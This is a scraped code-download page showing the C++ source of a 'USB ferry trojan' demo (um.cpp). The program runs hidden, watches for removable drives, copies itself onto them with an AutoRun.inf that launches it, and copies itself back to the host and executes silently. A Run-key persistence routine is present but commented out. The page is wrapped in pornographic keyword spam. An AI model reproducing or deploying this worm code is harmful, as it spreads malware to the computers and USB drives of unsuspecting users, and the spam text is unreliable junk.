亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? um.cpp

?? vc編寫的u盤擺渡木馬演示程序
?? CPP
字號:
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>

#define TIMER 1//計時器
#define WM_FROMC WM_USER+0//自定義消息 從C盤中啟動
#define WM_FROMU WM_USER+1//自定義消息 從U盤中啟動

//function 
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程


//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus"s path
BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
//BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動

//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus"s path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path

//constant 
const TCHAR *szExeName="um.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR 

szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("virus");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style=0;
wndclass.lpfnWndProc=WndProc;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hInstance=hInstance;
wndclass.hIcon=0;
wndclass.hCursor=0;
wndclass.hbrBackground=0;
wndclass.lpszMenuName=NULL;
wndclass.lpszClassName=szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),szAppName,MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,WS_DISABLED,0,0,0,0,NULL, NULL,hInstance, NULL);


while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM 

lParam)
{
switch(message)
{
// 處理一些要下面要用到的全局變量
case WM_CREATE:
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,NULL);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
//timer message 
case WM_TIMER:

if(szExePath[0]=='D')
{
	if(FindU(U))
	{
	SendMessage(hwnd,WM_FROMC,0,0);
	}

}
else
	SendMessage(hwnd,WM_FROMU,0,0);
return 0;

case WM_FROMC:
CopyToUAndSet();
return 0;

case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;

case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return ::DefWindowProc(hwnd, message, wParam, lParam);
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else 
return FALSE;
}

BOOL FindU(TCHAR *u)
{
u[1]=':';
for(char d='C';d<='Z';d++)//遍歷C到Z
{
    u[0]=d;
    if(GetDriveType(u)==DRIVE_REMOVABLE)//判斷是不是可移動的盤
    		return TRUE;
}
return FALSE;
} 

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}

BOOL CopyToSysAndSet(HWND hwnd)
{ 
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,"d:");
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
//RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
WinExec(szPath,SW_HIDE);//沒有就執行
//WinExec(szPath,SW_HIDE);
//SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else 
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_NORMAL);
}
/*BOOL RegAutoRun(TCHAR *path)//修改注冊表
{
HKEY hkey;
if(RegOpenKey

(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else 
return FALSE;
}*/
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

//if(!FileExist(szAutoFile))
//{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
//}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}

return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open=um.exe e"<<endl;
fout<<"shellexecute=um.exe e"<<endl;
fout<<"shell\\Auto\\command=um.exe e"<<endl;
//fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szExeName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美一级搡bbbb搡bbbb| 国产精品夜夜爽| 亚洲欧美一区二区久久| 中文字幕一区在线观看视频| 久久精品视频一区二区三区| 久久嫩草精品久久久精品一| 国产欧美精品一区aⅴ影院| 久久精品亚洲精品国产欧美kt∨| 久久综合色播五月| 久久久蜜桃精品| 国产精品视频看| 亚洲男人天堂av网| 亚洲国产欧美日韩另类综合 | 日韩欧美电影在线| 91精品国产综合久久久久久久久久 | 日本道精品一区二区三区| 91在线播放网址| 欧美日韩一区精品| 精品国产一区二区三区久久影院| 国产午夜亚洲精品理论片色戒| 欧美高清在线一区二区| 国产精品国产三级国产有无不卡 | 国产精品视频一二三| 亚洲欧美日韩在线| 蜜臀精品一区二区三区在线观看| 国内成人自拍视频| 97超碰欧美中文字幕| 欧美精品久久天天躁| 国产欧美一二三区| 亚洲高清不卡在线观看| 国产曰批免费观看久久久| 99久久精品国产精品久久| 欧美精品在欧美一区二区少妇| 精品免费日韩av| 亚洲一二三专区| 国产.精品.日韩.另类.中文.在线.播放| 99精品欧美一区二区三区小说 | 亚洲女人小视频在线观看| 蜜桃在线一区二区三区| 99这里都是精品| 精品国产免费人成电影在线观看四季 | 国产麻豆精品视频| 欧美午夜影院一区| 国产精品九色蝌蚪自拍| 久久成人久久鬼色| 欧美综合色免费| 亚洲国产精品成人久久综合一区 | 国产一区二区三区久久悠悠色av| 色综合天天综合网天天狠天天| 精品欧美久久久| 日韩av一区二区三区四区| 91在线观看污| 久久久美女毛片| 极品美女销魂一区二区三区 | 中文字幕av免费专区久久| 蜜臀精品久久久久久蜜臀| 丁香五精品蜜臀久久久久99网站| 国产成人精品亚洲午夜麻豆| 欧美日韩aaa| 亚洲毛片av在线| 成年人网站91| 久久精品人人做| 精品亚洲aⅴ乱码一区二区三区| 91传媒视频在线播放| 亚洲婷婷国产精品电影人久久| 国产精品一区免费在线观看| 欧美不卡在线视频| 毛片av一区二区三区| 91 com成人网| 日韩福利电影在线| 欧美二区三区的天堂| 日韩高清不卡一区二区三区| 欧美精品日韩综合在线| 视频一区国产视频| 欧美日韩一区国产| 日韩电影在线观看一区| 欧美裸体bbwbbwbbw| 亚洲18女电影在线观看| 在线观看亚洲精品| 同产精品九九九| 日韩欧美一级特黄在线播放| 秋霞国产午夜精品免费视频| 欧美大片免费久久精品三p| 麻豆精品蜜桃视频网站| 精品剧情在线观看| 国产精品996| 国产精品初高中害羞小美女文 | 日本一区二区视频在线| 国产成人精品亚洲日本在线桃色| 国产精品久久久久久亚洲毛片 | 丁香婷婷综合激情五月色| 国产日本欧美一区二区| 成人h动漫精品| 亚洲免费观看高清在线观看| 欧美亚洲动漫精品| 男人的天堂久久精品| 26uuu亚洲| 99热99精品| 首页国产丝袜综合| 久久久精品日韩欧美| 99久久国产免费看| 天堂一区二区在线免费观看| 精品精品欲导航| 97se亚洲国产综合自在线| 日本不卡在线视频| 国产精品女主播av| 7777精品伊人久久久大香线蕉经典版下载 | 日韩免费高清av| 国产精品亚洲综合一区在线观看| 亚洲丝袜美腿综合| 日韩一区二区三区免费观看 | 一区二区三区在线视频播放| 欧美一卡二卡三卡| 99九九99九九九视频精品| 日韩av网站在线观看| 亚洲欧洲日本在线| 日韩欧美国产一区二区在线播放| www.色精品| 国产一区二区在线电影| 一区二区三区四区不卡视频| 欧美大片国产精品| 在线这里只有精品| 粉嫩av一区二区三区| 久久精品免费看| 亚洲激情在线播放| 国产亚洲福利社区一区| 欧美一区二区美女| 在线免费观看一区| 99久久精品免费观看| 国产一区不卡视频| 男男视频亚洲欧美| 水蜜桃久久夜色精品一区的特点| 亚洲欧洲成人自拍| 亚洲国产岛国毛片在线| 久久精品亚洲精品国产欧美| 日韩一区二区影院| 欧美肥胖老妇做爰| 欧美日韩精品专区| 日本精品免费观看高清观看| 不卡的av中国片| 成人涩涩免费视频| 国产激情偷乱视频一区二区三区| 奇米一区二区三区| 天天综合日日夜夜精品| 亚洲成人免费在线| 视频一区在线播放| 男女男精品视频| 美日韩黄色大片| 激情六月婷婷久久| 国精品**一区二区三区在线蜜桃| 老司机一区二区| 韩国av一区二区三区在线观看| 老司机精品视频导航| 狠狠色狠狠色综合| 国产一区二区三区黄视频| 韩国毛片一区二区三区| 国产成人免费av在线| 成人永久aaa| av成人动漫在线观看| 99re在线精品| 欧美午夜理伦三级在线观看| 911精品国产一区二区在线| 欧美一区二区视频观看视频| 精品福利视频一区二区三区| 亚洲精品一区二区三区香蕉| 日本一区二区免费在线观看视频| 国产精品视频线看| 亚洲图片欧美视频| 琪琪一区二区三区| 成人综合婷婷国产精品久久 | 国产三级三级三级精品8ⅰ区| 欧美韩日一区二区三区| 亚洲品质自拍视频网站| 日韩精品一二三| 国产乱子伦视频一区二区三区| 成人网在线免费视频| 日本道色综合久久| 欧美大片一区二区三区| 亚洲欧美综合在线精品| 亚洲午夜电影网| 国产成a人亚洲精| 欧美日韩精品三区| 久久综合色之久久综合| 一区二区三区 在线观看视频| 免费一区二区视频| 色综合久久久久综合体| 精品sm捆绑视频| 亚洲欧美二区三区| 麻豆91精品91久久久的内涵| www.欧美日韩| 精品国产成人系列| 亚洲福利视频一区| 国产宾馆实践打屁股91| 精品视频在线看| 国产精品电影一区二区| 久久精品国产一区二区三区免费看| 成人性视频免费网站| 欧美一区二区女人| 亚洲一区在线视频| 懂色一区二区三区免费观看|